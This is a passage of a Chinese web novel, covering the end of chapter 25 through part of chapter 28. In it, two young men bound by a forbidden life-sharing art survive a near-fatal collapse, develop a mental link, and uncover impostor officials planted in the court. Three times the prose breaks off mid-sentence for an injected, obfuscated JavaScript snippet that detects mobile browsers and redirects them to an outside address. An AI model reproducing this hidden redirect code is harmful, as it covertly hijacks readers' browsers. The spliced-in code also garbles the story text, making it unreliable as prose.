“科举舞弊案刚过,你若入朝,恐怕会被人针对。”谢云辞担忧道。 “那就让他们针对。”江清砚淡淡一笑,“我既然敢揭这个盖子,就不怕被人记恨。” 他说得轻松,谢云辞却知道这条路有多难。朝堂党争,比江湖厮杀更凶险,那是杀人不见血的战场。 “清砚……” “谢兄不必劝。”江清砚打断他,“我意已决。” 四目相对。 许久,谢云辞终于点头:“好。但你答应我,若有危险,立刻告诉我。” “我答应。” 窗外的阳光又移动了些,照在江清砚脸上,映得他苍白的皮肤几乎透明。谢云辞忽然注意到,他眼下的青黑比前几日更重了。 “你昨晚又没睡好?”他问。 江清砚摇头:“做了个梦。” “什么梦?” “梦见……”江清砚顿了顿,声音轻得像叹息,“梦见我爹娘。他们说,清砚,你要好好的。” 谢云辞心头一酸。他知道江清砚父母早逝,独自一人撑到今天,其中的艰辛,外人难以想象。 “他们若在天有灵,定会为你骄傲。”他轻声道。 江清砚笑了笑,没说话。 两人又聊了些闲话,大多是江清砚说,谢云辞听。说到润州的山水,说到江南的糕点,说到小时候爬树掏鸟窝的趣事……江清砚难得说了这么多话,谢云辞也难得耐心听着。 直到午后,李崇明派人来请,说三司会审的最终判决下来了,让江清砚过去看看。 江清砚起身,整理了一下衣襟,对谢云辞道:“我去去就回。你好好休息,别乱动。” “知道了。”谢云辞应道,目送他离开。 房门关上,房间里重归寂静。 谢云辞靠在床头,闭上眼,胸中那颗共同的心脏跳得平稳有力。他能感觉到江清砚的情绪——平静中带着一丝释然,释然中又藏着隐忧。 是啊,案子虽然结了,但真正的暗流,还在水底涌动。 二皇子,三皇子,还有谢家的仇……这些都还没完。 正想着,胸口忽然传来一阵剧烈的绞痛! 不是伤口痛,是心绞痛! 谢云辞闷哼一声,捂住胸口,额头上瞬间冒出冷汗。他能感觉到,不是他自己的痛——是江清砚的! 同生共死,心脉相连。江清砚那边出事了! 他挣扎着下床,踉跄着走到门边,推开门,嘶声喊道:“来人!快去找江钦差!” 门外守着的衙役一愣,随即反应过来,飞奔而去。 谢云辞扶着门框,脸色惨白。胸口的痛越来越烈,像有无数根针在扎,又像有火在烧。他能感觉到江清砚的生命力在急速流失! 怎么回事?江清砚不是去刑部了吗?刑部戒备森严,怎么会…… 他咬紧牙关,强撑着往外走。刚走出院子,就看到几个衙役抬着一个人匆匆跑来—— 是江清砚! 他双目紧闭,脸色白得吓人,嘴角还有一丝血迹。胸前衣襟被染红了一片,不是外 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863501|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 伤的血,是从嘴里涌出来的。 “怎么回事?!”谢云辞扑过去,声音都在颤抖。 “不、不知道……”一个衙役结结巴巴道,“江钦差刚到刑部门口,忽然就倒下了,吐了好多血……我们已经去请薛大夫了!” 谢云辞抱起江清砚,冲回厢房。他将人放在床上,探了探鼻息——微弱得几乎感觉不到。又摸了摸脉搏,乱得像一团麻。 “清砚……清砚!”他低声唤道,手在发抖。 江清砚毫无反应。 薛大夫很快赶来了。他检查了江清砚的状况,脸色骤变:“心脉衰竭……怎么会这样?他早上还好好的!” “是禁术反噬。”谢云辞嘶声道,“对不对?” 薛大夫沉默片刻,重重点头:“同生共死之术,本就有违天道。你们之前几次死里逃生,已经耗尽了心脉的潜力。如今……怕是撑不住了。” “救他。”谢云辞抓住薛大夫的手,眼中满是血丝,“无论什么代价,救他。” 薛大夫看着他,又看看床上奄奄一息的江清砚,眼中闪过挣扎。许久,他才低声道:“还有一个办法,但……凶险万分。” “说。” “心头血。”薛大夫一字一句道,“以你的心头血为引,注入他的心脉,强行续命。但此举会损耗你的生命本源,且成功率只有三成。若失败,你们……都会死。” 心头血。 谢云辞没有丝毫犹豫。 “来吧。” “你确定?”薛大夫盯着他,“这会折损你的寿命,甚至可能……” “我确定。”谢云辞打断他,声音平静,“开始吧。” 薛大夫深深看了他一眼,不再多言。他让谢云辞躺在江清砚身边,取出金针、玉碗,还有几个颜色诡异的药瓶。 “过程会很痛。”他警告道,“你要保持清醒,不能晕过去。一旦晕过去,血液逆流,两个人都没救。” “我明白。” 金针刺入谢云辞心口。不是表皮,是真正的、深入心脏的一针。剧痛瞬间席卷全身,谢云辞闷哼一声,咬紧牙关,指甲深深掐进掌心。 鲜血顺着金针流入玉碗。那不是普通的血,而是心头血——颜色更深,更浓稠,在玉碗中泛着诡异的暗金色。 取了约莫小半碗,薛大夫拔出金针,快速在谢云辞胸口几处穴位施针止血。然后,他将那碗心头血倒进一个特制的玉壶,又加入几种药粉,摇晃均匀。 药血混合,变成了淡金色的液体。 薛大夫将玉壶的壶嘴对准江清砚的嘴唇,缓缓倾倒。 液体入口,江清砚的身体忽然剧烈抽搐起来! “按住他!”薛大夫急喝。 谢云辞不顾自己的伤,死死按住江清砚。他能感觉到,胸中那颗共同的心脏,跳得越来越快,越来越乱,像是要炸开。 江清砚的睫毛在颤抖,嘴唇翕动,似乎在说什么。谢云辞俯身去听,只听到几个破碎的字: “爹……娘……别走……” 他在唤父母。 谢云辞心头一酸,握紧了他的手:“清砚,我在。我在这里,你不许走。” 江清砚似乎听到了,抽搐渐渐平缓下来。胸口的起伏也从急促变得平稳。 薛大夫松了口气,抹了把额头的汗:“成了……暂时成了。但只是续命,不是根治。他的身体已经油尽灯枯,最多……还有一年。” 一年。 谢云辞如遭雷击。 “没有别的办法了吗?”他嘶声问。 薛大夫摇头:“能续命一年,已是奇迹。这一年里,他必须静养,不能劳累,不能动气,更不能受伤。否则……” 他没说下去,但意思明白。 谢云辞低头看着江清砚苍白的脸,忽然笑了。那笑意很苦,却带着决绝。 “一年……够了。” 够他查清家仇,够他安排好一切。 然后……他会陪他,一起去那个山清水秀的地方。 无论生死。 窗外,秋风更急了。 枯叶打着旋儿落下,像一场无声的告别。 而房间里,两个少年紧握着手,在生死边缘,许下了一个关于未来的约定。 虽然未来,可能很短。 但至少,他们还有彼此。 26. 第 26 章 第二十六章苏醒与链接 薛大夫给江清砚服下的药,叫做“回天续命丹”。据说是前朝太医令所创,以百年人参、千年雪莲、还有几味早已绝迹的珍稀药材炼制而成,整个太医院也只剩三颗。永昌帝听闻江清砚病危,特赐一颗——这是莫大的恩典,也意味着,这位年轻的钦差,在皇帝心中已有了不轻的分量。 药效发挥得很慢。 第一天,江清砚只是不再吐血,但依旧昏迷不醒。呼吸微弱得像风中残烛,胸口的起伏几乎看不见。 谢云辞守在他床边,寸步不离。薛大夫让他去休息,他摇头,只说:“我怕他醒来时,身边没人。” 薛大夫叹了口气,没再劝。 第二天清晨,江清砚的呼吸终于平稳了些。脸色虽仍苍白,但不再是死灰般的颜色,有了一丝生气。 谢云辞握着他的手,能感觉到那冰凉的手指,有了一点温度。 第三天午后,阳光正好。 谢云辞累极了,伏在床边打了个盹。梦里还是破庙那夜,大雨滂沱,他满身是血,那个白衣书生蹲在他面前,眼神清澈得像山涧溪流。 “为什么救我?” “想救,便救了。” 然后画面一转,是刑部后衙,江清砚跪在他床边,握着他的手说:“我陪你查,你的仇,我帮你报。” 接着是城隍庙的厮杀,弩箭破空而来,他挡在他身前…… “谢兄……” 一个微弱的声音,将他从梦中唤醒。 谢云辞猛地睁眼。 床上的江清砚,不知何时已经醒了。他睁着眼,看着他,眼神还有些迷茫,却清澈依旧。 “清砚!”谢云辞声音发颤,“你醒了……” 江清砚眨了眨眼,似乎花了些时间才聚焦。他看了看谢云辞,又看了看周围,轻声问:“我……睡了多久?” “三天。”谢云辞握住他的手,“感觉怎么样?” “有点累……”江清砚想坐起来,却牵动了胸口,闷哼一声。 “别动。”谢云辞按住他,“薛大夫说,你要静养。” 江清砚顺从地躺回去,目光落在谢云辞脸上,忽然皱眉:“你脸色很差。是不是……又用禁术了?” 谢云辞没说话。 江清砚明白了。他闭上眼睛,深吸一口气,再睁开时,眼中有了水光。 “谢云辞,你……何苦……” “我说过,要护你到京城。”谢云辞声音低沉,“现在到了京城,这承诺……还在。” 江清砚看着他,许久,忽然笑了。那笑意很浅,却带着释然。 “傻子。”他轻声道。 谢云辞也笑了。 阳光透过窗纸照进来,在两人之间投下温暖的光带。尘埃在光里飞舞,像细碎的金粉。 同生共死。 这一次,他们真正懂得了这四个字的分量。 江清砚醒后的第七天,薛大夫终于允许他下床走动,但只能在院子里,不能出刑部衙门。 深秋的院子,萧条中带着一种静谧的美。老槐树的叶子已经落光了,光秃秃的枝桠指向灰白的天空。墙角几丛菊花却开得正好,金黄、雪白、绛紫,在秋风中摇曳,给这肃杀的季节添了一抹亮色。 江清砚披着厚厚的鹤氅,坐在石凳上。谢云辞坐在他对面,手里削着一个梨——薛大夫说梨能润肺,对江清砚的恢复有好处。 “案子……结了吗?”江清砚忽然问。 谢云辞削梨的手顿了顿,点头:“结了。赵文远、柳文渊判斩立决,三日后行刑。陈文正判绞监候。水鬼帮余孽,已全部处斩。” 他说得简略,江清砚却听出了话外的沉重。 “三皇子呢?” “依旧禁足。”谢云辞将削好的梨递给他,“圣旨上说,念其年少,且系初犯,罚俸三年,闭门思过。” 年少?初犯? 江清砚接过梨,却没吃,只是看着那晶莹的果肉,轻声道:“那些被掳的举子,也年少。他们的前程,谁赔?” 谢云辞沉默。 他知道江清砚不甘心。他自己也不甘心。但这就是朝堂,有些事,明知不公,也只能接受。 “李大人说,”谢云辞缓缓道,“三皇子虽然保住了命,但经此一事,圣心已失,夺嫡无望。二皇子那边……暂时动不了,但陛下已有戒心。这,大概是最好的结果了。” 最好的结果。 江清砚苦笑。是啊,对朝堂来说,这大概是最好的平衡。可对那些被毁掉的人生来说呢? 他咬了一口梨,甜中带着微酸,汁水丰沛。可他却觉得满口苦涩。 “清砚,”谢云辞看着他,“等你好些了,我陪你去看看周文远他们。” 江清砚抬头。 “李慕言和王璞中了进士,昨日殿试,李慕言点了探花,王璞二甲第七。周文远在薛大夫调理下,已能认人写字了。还有那几个被救出来的举子……他们都想见你。” 见你。 江清砚心中一暖。是啊,虽然未能尽如人意,但至少,他救下了一些人。那些鲜活的生命,那些本该被毁掉的人生,因为他,有了重新开始的机会。 这大概就是……他拼死一搏的意义。 “好。”他轻声道,“等我能出门了,就去。” 谢云辞点头,又想起什么:“对了,水生走前,留了封信给你。” 他从怀中取出一封皱巴巴的信。信纸普通,字迹却刚劲有力: “江兄:京城非我久留之地,今已南下,归隐江湖。君之高义,没齿难忘。若他日有缘,江南再见。水生。” 短短数语,却透着江湖人的洒脱。 江清砚将信小心折好,收进怀中。 “他是个重情义的人。”他轻声道,“可惜,道不同。” “道虽不同,情义在。”谢云辞道,“这便够了。” 是啊,够了。 在这纷扰的世间,能遇到几个真心相待的人,已是难得。 两人又坐了一会儿,直到秋风渐凉,薛大夫出来催江清砚回屋。 回到厢房,江清砚靠在床头,看着窗外的天色一点点暗下来。忽然,他胸口一紧——不是痛,是一种奇异的、仿佛被什么牵引的感觉。 “谢兄,”他转头看向坐在桌边的谢云辞,“你有没有觉得……我们之间,好像……联系更深了?” 谢云辞一怔,随即点头:“我也感觉到了。尤其是你昏迷那几天,我能清晰感知到你的情绪,甚至……模糊的念头。” 模糊的念头? 江清砚试着集中精神,想象谢云辞手中的茶杯—— 谢云辞手一颤,杯中茶水溅出几滴。 他惊讶地看向江清砚:“你……” “我刚才……想象你手中的茶杯。”江清砚也惊讶,“你感觉到了?” 谢云辞点头。 两人面面相觑。 薛大夫推门进来,见他们神色有异,问道:“怎么了?” 江清砚将方才的事说了。薛大夫听完,沉吟良久,才道:“同生共死之术,本就有心意相通之能。只是之前你们心脉受损,未能完全显现。如今……怕是联结更深了。” 心意相通。 江清砚和谢云辞对视一眼,都从对方眼中看到了震惊。 这意味 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863502|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着什么?意味着他们能感知对方的情绪,甚至……部分想法? “这是好事,也是坏事。”薛大夫缓缓道,“好事是,若一方有危险,另一方能立刻感知。坏事是……你们将几乎没有秘密可言。而且,这种联结会随着时间加深,到最后,或许连独自思考都难。” 几乎没有秘密。 江清砚沉默。他想起自己那些深藏心底的往事,那些不足为外人道的脆弱和恐惧。若这些都被谢云辞感知到…… “可有办法……减弱这种联结?”他轻声问。 薛大夫摇头:“同生共死,一旦缔结,便是终身。除非……一人身死。” 一人身死。 江清砚心头一颤。 谢云辞却道:“这样挺好。” 江清砚抬眼看他。 “我们之间,本就不该有秘密。”谢云辞平静道,“况且,这样我才能随时知道,你有没有逞强,有没有好好休息。” 他说得自然,江清砚却听出了话里的关切。 “可是……”他犹豫道,“若你感知到我的过去,那些……不太好的回忆……” “清砚。”谢云辞打断他,走到床边,看着他,“我的过去,也不怎么好。我们都见过这世间最黑暗的一面,也都从黑暗中走出来。所以,没什么好怕的。” 他说着,伸出手。 江清砚看着那只手,掌心有厚茧,指节分明,是一双握刀的手。可此刻,它只是安静地伸着,像一种无声的邀请。 他迟疑片刻,终于将自己的手放上去。 两手相握的瞬间,一种奇妙的共鸣在胸中荡开。不是疼痛,不是不适,而是一种……温暖而坚实的链接。仿佛两颗相隔甚远的心,终于找到了彼此的位置。 江清砚闭上眼。 他“看”到了谢云辞的记忆碎片——不是完整的画面,而是零星的片段:姐姐的背影,枯井的黑暗,六扇门的刀光剑影,还有……破庙雨夜,他蹲在他面前时,那双清澈的眼睛。 而谢云辞也“看”到了江清砚的记忆:江南的烟雨,父母病榻前的叮咛,满屋的书卷,还有一次次心疾发作时的窒息和绝望。 原来,他们都曾那么孤独。 原来,他们都曾以为,会一个人走到生命的尽头。 可命运让他们相遇了。 同生共死,心意相通。 这不是诅咒,是恩赐。 江清砚睁开眼,眼中有了水光。 “谢兄,”他轻声道,“能遇到你,真好。” 谢云辞握紧了他的手。 “我也是。” 窗外的天彻底黑了。屋里点起了灯,昏黄的光晕将两人的影子投在墙上,时而交叠,时而分开。 薛大夫悄无声息地退了出去,关上门。 把这片安静,留给两个刚刚真正“看见”彼此的少年。 夜深了。 江清砚睡得很沉。自心疾发作以来,这是他第一次睡得这么安稳。梦中不再有血雨腥风,不再有阴谋诡计,只有一片温暖的黑暗,和黑暗中那颗与他同频跳动的心脏。 而谢云辞守在他床边,看着他安详的睡颜,胸中那颗共同的心脏,跳得平稳而有力。 他能感觉到江清砚的平静,也能感觉到……一种深藏的、连主人自己都未察觉的依赖。 同生共死。 从今往后,他们就是真正的一体了。 无论前路是刀山火海,还是锦绣前程。 他们都将并肩而行。 因为从相遇的那一刻起,他们的命运,就已经紧紧缠绕在一起,再也分不开了。 而属于他们的故事,才刚刚开始。 27. 第 27 章 第二十七章记忆宫殿 清晨的刑部衙门,安静得能听见落叶的声音。 江清砚醒来时,阳光已经透过窗纸,在床前投下菱形的光斑。他睁开眼,第一感觉不是身体的虚弱,而是……一种奇异的清明。 仿佛蒙尘的镜子被擦拭干净,脑中的思绪前所未有的清晰。他能回忆起《礼记》每一篇的章句,能复现蓟州码头账本上的每一笔记录,甚至能想起三年前在润州茶馆听过的、关于运河鬼船的每一句闲谈。 这不是他正常的记忆力——虽然他一直有过目不忘之能,但此刻的清晰度,远超以往。 他坐起身,胸口传来隐痛,但比前几日轻了许多。低头看了看,伤口已经结痂,只留下一道淡红色的疤痕,与谢云辞胸口的那道几乎一模一样。 同生共死。 江清砚抬手按在自己心口,能感觉到那颗心脏沉稳有力的跳动。不是一颗,是两颗——他和谢云辞的心脏,在胸腔深处共鸣着相同的节奏。 “醒了?” 谢云辞的声音从门口传来。他端着药碗走进来,见江清砚坐起,眉头微皱:“薛大夫说,你还要多躺几天。” “躺不住了。”江清砚接过药碗,药汁浓黑,气味刺鼻,他却面不改色地一饮而尽,“总觉得……脑子里多了些东西。” 谢云辞在他床边坐下,伸手探了探他的额头:“烧退了。你说多了东西……是什么?” 江清砚闭上眼,尝试整理那些纷乱的记忆碎片。半晌,他睁开眼,神色凝重:“谢兄,你还记得水鬼帮的账本吗?” “记得。” “账本上有一笔交易,日期是永昌十六年八月十五,地点标着‘蓟州码头丙字仓’,收货方代号‘丙三’,货物是五个‘文货’。”江清砚语速平缓,像是在背诵,“备注写着:‘丙三验货,言江南口音重,需调教。退银五十两,限期十日改之。’” 谢云辞瞳孔微缩:“你……全记住了?” 江清砚点头,又补充道:“不止。账本一共一百七十三页,每页十二条记录,合计两千零七十六笔交易。其中涉及‘文货’的四百五十二笔,‘武货’三百零七笔,‘工货’五百一十一笔,‘乐货’两百零六笔。还有……” 他顿了顿,继续道:“还有六百笔,标注为‘特殊货物’。这些‘特殊货物’没有具体描述,只写代号和价格。最贵的一笔,代号‘甲一’,价格……黄金五千两。” 谢云辞听得心惊。这样的记忆力,已经不是“过目不忘”能形容的了。简直像是……将整本账本刻进了脑子里。 “还有更奇怪的。”江清砚继续道,“我昨晚梦见了一些……不属于我的记忆。” “什么记忆?” “一个少年,约莫十五六岁,穿着粗布衣裳,在河边洗衣服。”江清砚描述着,眉头微蹙,“河水很急,他脚下一滑,差点摔进去。这时有人拉了他一把——是个中年文士,穿着青衫,左手拇指戴了个玉扳指。” 谢云辞猛地站起:“玉扳指?柳文渊?” 江清砚摇头:“不是柳文渊。那个文士……我看不清脸,但他腰间挂着一块玉佩,玉佩上的图案……” 他努力回想,脑中却一片模糊。那些记忆像隔着一层雾,能看见轮廓,却看不清细节。 “算了。”他揉了揉额角,“或许只是梦。” “未必。”谢云辞沉声道,“薛大夫说过,同生共死之术,可能会让你们共享部分记忆。你梦见的,也许是……某个与你有联结的人的经历。” 与我有联结的人? 江清砚忽然想起薛大夫的话——供心之人濒死且自愿,生机未绝,心脉能借其延续。那颗心脏的原主人,是谢云辞。但谢云辞的记忆里,并没有这样的场景。 除非……联结的不只是他和谢云辞,还有……那颗心脏的“过去”? 这个念头让他背脊发凉。 “谢兄,”他抬头,“你的记忆里,有没有……不属于你的部分?” 谢云辞沉默片刻,缓缓点头:“有。但我以为是幻觉。” “是什么?” “一些零碎的片段:江南的雨季,书房里的墨香,还有……一个女子的歌声。”谢云辞闭上眼睛,努力回忆,“歌声很轻,哼的是江南小调。我听不清词,但调子……很熟悉。” 江南。 江清砚心头一动。他是江南人,谢云辞却是北地出身。谢云辞的记忆里,不该有江南的雨季,更不该熟悉江南小调。 除非……那些记忆,来自那颗心脏的“原主”。 “薛大夫说,那颗心脏……”江清砚声音发颤,“是从一个濒死之人身上取的。那个人……是谁?” 谢云辞摇头:“薛大夫没说。但能自愿献心,且与我血脉相合的人……恐怕不简单。” 两人对视,都看到了对方眼中的凝重。 同生共死,联结的不仅是他们的现在,还有……某个陌生人的过去。 “先不想这些。”谢云辞打破沉默,“当务之急,是你的身体。薛大夫说,你至少要休养三个月。” “三个月太长了。”江清砚摇头,“科举放榜在即,三司会审的后续也要处理。还有……你的仇。” 他说着,掀开被子就要下床。 谢云辞按住他:“这些事有我。你现在的任务是养病。” “可……” “没有可是。”谢云辞语气强硬,“清砚,你答应过我,若有危险,要告诉我。现在你的身体就是最大的危险。你若再逞强,我就……我就把你绑在床上。” 这话说得认真,江清砚却听出了话里的关切。他无奈地笑了笑:“好,我听你的。” 谢云辞这才松开手,却依旧站在床边,一副随时准备把他按回去的架势。 江清砚重新躺下,目光却落在窗外的老槐树上。树叶落尽,枝桠光秃,在秋风中轻轻摇晃。 “谢兄,”他忽然道,“我好像……能‘看见’那棵树更细节的东西。” “什么?” “树干的纹路,每一条裂缝的走向。枝桠分叉的角度,每一个细小的芽苞。”江清砚描述着,眼中闪过惊奇,“甚至……树干里虫蛀的孔洞,我都能‘看’清。” 这不是视力好能解释的。 谢云辞走到窗边,仔细观察那棵老槐树。树干粗糙,裂纹纵横,确实有不少虫蛀的痕迹。但隔着这么远,常人根本看不清,更别说分辨每条裂缝的走向了。 “是联结的副作用吗?”他低声问。 “恐怕是。”江清砚闭上眼睛,尝试将注意力集中在其他东西上——桌上的药碗,墙上的字画,甚至……谢云辞腰间的匕首。 药碗边缘有个细微的缺口,是昨日他不小心碰到的。字画的装裱线有一处松脱,颜色比其他地方略浅。匕首的刀鞘上,有道极浅的划痕,是上次城隍庙厮杀时留下的。 所有这些细节,像潮水般涌入脑海,清晰得毫发毕现。 他睁开眼睛,额头渗出细汗。这种过度的感知,耗费的精神力远超想象。 “清砚?”谢云辞察觉他脸色不对,连忙过来,“怎么了?” “太清晰了……”江清砚喘息着,“所有东西,所有细节……都在脑子里。我控制不住。” 谢云辞立刻按住他的肩膀,沉声道:“集中精神,只看一样东西。其他的,暂时屏蔽。” 江清砚依言,将注意力集中在谢云辞的眼睛上。那双眼睛深邃如潭,此刻盛满了担忧。眼角的细纹,瞳孔的颜色,甚至……眼底深处那抹不易察觉的血丝,都清晰可见。 但其他的东西——药碗、字画、匕首——渐渐模糊下去,退到了感知的边缘。 “好点了吗?”谢云辞问。 江清砚点头,又摇头:“能控制,但很累。就像……脑子里多了个房间,里面堆满了东西。我可以选择看哪一件,但所有的东西,都还在那里。” 记忆宫殿。 江清砚忽然想起这个词。古人用“记忆宫殿”法来训练记忆力,在脑中构建一个虚拟的空间,将需要记忆的东西放在不同的位置。他现在的情况,就像拥有了一座真正的、无法关闭的记忆宫殿。 “这是好事。”谢云辞安慰道,“对你查案、读书都有帮助。只是需要时间适应。” “但愿如此。”江清砚苦笑。 这时,门外传来敲门声。 “江钦差,谢总捕,李大人有请。”是衙役的声音。 谢云辞看向江清砚,后者点了点头。两人简单整理了一下,便跟着衙役去了刑部正堂。 正堂里,李崇明正在看一份奏折,眉头紧锁。见他们进来,放下奏折,神色凝重。 “江钦差身体可好些了?” “好多了,谢大人关心。” 李崇明点点头,将奏折推过来:“你们看看这个。” 江清砚接过奏折。是刑部关于水鬼帮一 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16863503|191730||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 案的结案陈词,已经拟好,准备呈报圣上。但其中有一段被朱笔圈了出来—— “三皇子虽有过错,然念其年少,且系初犯,已闭门思过,罚俸三年。宜以宽宥,以示天家仁德。” 朱笔批注:“准。” 是永昌帝的御批。 江清砚沉默。虽然早有预料,但看到这轻描淡写的处理,心中还是涌起一股无力感。 “还有这个。”李崇明又递过来一份文书。 是吏部的公文——关于今科进士的授官安排。李慕言点了探花,授翰林院编修。王璞二甲第七,授户部主事。其他几位被救的举子,也各有安排。 而在文书末尾,附着一份名单——是那些被盗文集的“作者”,也就是被水鬼帮掳走、又被“培养”的举子。名单上一共十七人,除了已经找到的周文远等七人,还有十人……下落不明。 “这十个人,”李崇明沉声道,“生不见人,死不见尸。水鬼帮的余孽都说不知道,赵文远、柳文渊也咬死不说。” 十个人。 江清砚看着那份名单,脑中忽然闪过一些碎片——不是记忆,是联想。他将名单上的名字,与水鬼帮账本上的记录一一对应,再结合那些被盗文集的内容、风格…… “大人,”他抬起头,眼中闪过一丝亮光,“这十个人,可能……不是被灭口了。” “什么意思?” “水鬼帮掳人,不只是为了贩卖,更是为了‘培养’。”江清砚缓缓道,“他们按照某种标准,挑选有才华的举子,教他们改口音、学礼仪、甚至易容。然后……送进某个地方,成为‘自己人’。” 李崇明和谢云辞都听懂了。 “你是说……这十个人,可能还活着,但已经改头换面,成了……水鬼帮的人?或者,成了水鬼帮背后势力的人?” “很有可能。”江清砚指着名单上的一个名字,“比如这个,吴文清。账本上记录,他是‘永昌十六年三月’被掳,备注是‘擅算学,通账目’。而都水司去年新招的一个书吏,也叫吴文清,同样擅算学,也是江南口音。” 李崇明脸色骤变:“你是说……都水司里有水鬼帮安插的人?” “不止都水司。”江清砚继续道,“还有礼部、户部,甚至……翰林院。水鬼帮经营这么多年,不可能只满足于贩卖人口。他们的最终目的,恐怕是……渗透。” 渗透朝廷,培植党羽,影响朝局。 这个猜测,比单纯的贩卖人口更可怕。 李崇明站起身,在堂中踱步。许久,他才停下,看向江清砚:“江钦差,此事关系重大,没有确凿证据,不能轻举妄动。” “我知道。”江清砚点头,“所以,我想请大人给我一个机会。” “什么机会?” “查阅各部近年的人事档案。”江清砚平静道,“尤其是那些‘空降’的、来历不明的官员。我要找出……那些‘消失’的举子。” 李崇明盯着他看了半晌,最终缓缓点头:“好。但你要答应我,只查,不动。没有铁证,绝不打草惊蛇。” “学生明白。” 从正堂出来,已是午后。 秋阳正好,照在身上暖洋洋的。江清砚却觉得背脊发凉——如果他的猜测属实,那水鬼帮的案子,远没有结束。 “清砚,”谢云辞走在他身边,低声道,“你的身体……” “撑得住。”江清砚打断他,眼中有着前所未有的坚定,“谢兄,我们必须查下去。这不仅是为了那些失踪的人,也是为了……我们自己。” 他顿了顿,声音更轻:“我总觉得,这颗心脏的原主……可能也牵扯其中。” 谢云辞沉默了。 同生共死,联结的不只是他们两个人。还有那个陌生人的过去,那些零碎的记忆片段,那个江南的雨季,那首听不清词的歌…… 也许,查清水鬼帮的真相,也能解开他们身上的谜团。 “好。”谢云辞最终道,“我陪你。但你要答应我,量力而行。” “我答应。” 两人并肩走在刑部的院子里。秋风卷起落叶,在他们脚边打着旋儿。 前方,是更深的迷雾。 但至少这一次,他们不是独自面对。 同生共死,心意相通。 这是诅咒,也是祝福。 而他们选择,将这份联结,化作揭开真相的力量。 无论前方是什么。 28. 第 28 章 第二十八章内外消息 深秋的京城,风里已带了凛冽的寒意。刑部衙门后院那棵老槐树,最后几片叶子也在昨夜的风中落尽了,光秃秃的枝桠指向铅灰色的天空,像一只只伸向苍穹的枯手。 江清砚裹着厚厚的鹤氅,坐在窗边的书桌前。面前摊开的不是经史子集,而是厚厚一摞人事档案——那是李崇明特批,从吏部调来的近五年各部新晋官员名册。 名册是按衙门和年份整理的,每一页都详细记录着官员的姓名、籍贯、出身、履历,还有……推荐人。江清砚的目光,就落在那些“推荐人”的栏目上。 翰林院、礼部、户部、工部、兵部……甚至都察院、大理寺。几乎每个衙门,都有那么几个官员,推荐人一栏写着“柳文渊”或“赵文远”。更隐晦的,则是“观澜书院荐”、“某某同年荐”,但细细比对,都能和水鬼帮账本上的某些记录对应上。 这还只是明面上的。 江清砚闭上眼睛,脑中那座“记忆宫殿”再次展开。他将账本上的每一笔交易、每一处备注,与这些人事档案一一对应、交叉比对。像在下一盘复杂至极的棋,每一步都要计算,每一个细节都不能放过。 额角渗出细汗,胸口传来熟悉的隐痛。但他没有停,反而加快了速度——薛大夫说过,这种过度的精神消耗对心脉是负担,但他顾不上了。 时间不多了。 三日后,赵文远和柳文渊就要问斩。届时,这条线就彻底断了。 “歇会儿。” 谢云辞的声音在身后响起。他端着一碗参汤走进来,放在桌上,目光落在江清砚苍白的脸上,眉头皱紧:“你又逞强。” 江清砚睁开眼,眼中布满血丝,却闪着异样的光:“谢兄,你看这个。” 他指着档案中的一页。那是户部一个新晋主事的履历:张远山,江南润州人士,永昌十五年举人,永昌十七年通过吏部铨选,入户部任主事。推荐人一栏写着“陈文正”。 “张远山……”谢云辞思索片刻,“这个名字,好像在账本上见过。” “不止见过。”江清砚从旁边抽出一张纸——那是他凭记忆默写的水鬼帮账本摘要,“永昌十六年九月,账本记录:丙字十九号,男,二十许,擅算学,通账目。备注:已送户部。” 他顿了顿,继续道:“而张远山,正是永昌十六年十月入的户部。时间对得上,特长也对得上。更重要的是……” 他从档案中抽出另一份文书:“这是张远山的户籍副本。上面写他父母双亡,家中无人。但我在润州时听说过,张家是当地望族,父母健在,还有一个妹妹。” 谢云辞眼神一凛:“你是说,这个张远山……是假的?” “很有可能。”江清砚放下文书,揉了揉眉心,“水鬼帮掳走真的张远山,然后找人冒充他,通过陈文正的关系送入户部。真的张远山……恐怕已经死了。” 一桩,又一桩。 像一张大网,密密麻麻,覆盖了整个朝堂。 谢云辞沉默良久,才低声道:“清砚,你打算怎么办?” “查。”江清砚斩钉截铁,“一个一个查。把这些冒充者,全部揪出来。” “可这需要时间。而且……”谢云辞犹豫道,“牵扯太广了。户部、礼部、翰林院……几乎每个衙门都有他们的人。若贸然动手,恐怕会引起朝堂震动。” “那就从外围开始。”江清砚目光落在窗外,“从那些……还没完全渗透进去的人开始。” 正说着,门外传来急促的脚步声。 “江钦差!谢总捕!”一个衙役气喘吁吁地跑进来,“出事了!刑部大牢……走水了!” 刑部大牢?! 